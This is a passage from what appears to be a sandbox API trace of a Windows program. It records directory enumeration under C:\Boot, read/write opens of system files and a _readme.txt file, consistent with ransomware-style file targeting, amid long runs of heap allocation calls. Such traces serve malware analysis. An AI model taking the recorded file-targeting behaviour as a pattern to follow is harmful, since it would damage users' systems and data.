ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.578] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0059.578] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.578] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b63f50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.578] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned=".txt" [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.578] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b63f50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.578] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.578] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.578] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.578] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.578] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.578] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.578] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.578] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.578] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.578] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.580] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.580] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.581] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.584] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.584] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 